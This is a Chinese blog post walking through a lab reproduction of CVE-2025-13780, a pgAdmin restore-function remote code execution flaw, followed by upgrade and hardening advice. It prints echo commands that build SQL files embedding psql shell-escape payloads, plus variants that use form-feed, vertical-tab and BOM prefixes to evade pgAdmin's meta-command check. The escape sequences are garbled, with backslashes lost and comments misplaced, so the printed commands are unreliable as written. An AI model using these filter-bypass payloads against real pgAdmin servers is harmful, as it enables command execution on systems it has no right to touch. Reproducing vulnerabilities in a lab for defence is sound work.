pgAdmin4后台Restore功能远程代码执行漏洞CVE-2025-13780复现过程

作者:袖梨 2026-06-02

pgAdmin作为PostgreSQL数据库的主流管理工具,其9.11版本之前存在一个高危安全漏洞。攻击者可通过精心构造的SQL文件绕过安全检查,利用restore功能实现远程代码执行。

简介

pgAdmin是一款广受欢迎的开源数据库管理平台,为PostgreSQL提供强大的Web管理界面。在9.11版本之前,其restore功能存在严重安全隐患。该功能调用psql程序处理用户上传的SQL文件时,未能有效过滤特殊字符,导致攻击者可通过meta command执行系统命令。

搭建

搭建测试环境步骤如下:

#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

使用默认凭据[email protected]:vulhub登录系统。

复现

文件生成

准备测试文件:

echo -ne "SELECT 1;n! bash -c 'touch /tmp/hacked2'n" > test.sql
echo -ne "SELECT 1;rn! bash -c 'touch /tmp/hacked2'n" > test2.sql
echo -ne "SELECT 1;r! bash -c 'touch /tmp/hacked2'r" > payload.sql

开始"restore"

依次点击servers→输入密码→server - main - database - vulhub,右键选择restore功能。

img_6a1e901c11f2430.webp

上传sql文件

选择文件并上传:

img_6a1e901c11f2a31.webp

点击"upload"按钮完成上传。

restore执行

将格式切换为"Plain"后执行payload。

img_6a1e901c11f2c32.webp

else

测试其他文件时可能遇到安全拦截:

img_6a1e901c11f2f33.webp

这是由于has_meta_commands()函数仅识别特定格式。可通过多种方式构造payload绕过检测:

# 垂直制表符
echo -ne "SELECT 1;x0c! ls>/tmp/ls" > payload_ff.sql# 换页符
echo -ne "SELECT 1;x0b! id>/tmp/id" > payload_vt.sql# UTF-8 BOM绕过
echo -ne "xefxbbxbf! echo utf_bom>/tmp/bom" > payload_bom.sql

防御

  1. 立即升级至pgAdmin 9.11或更高版本。
  2. 避免从不信任来源恢复PLAIN格式SQL文件。
  3. 加强文件内容过滤和命令执行隔离。
  4. 遵循最小权限原则配置服务账户。

该漏洞凸显了数据库管理工具安全性的重要性。通过及时更新和合理配置,可有效防范此类安全风险,确保数据库环境的安全稳定运行。

相关文章

精彩推荐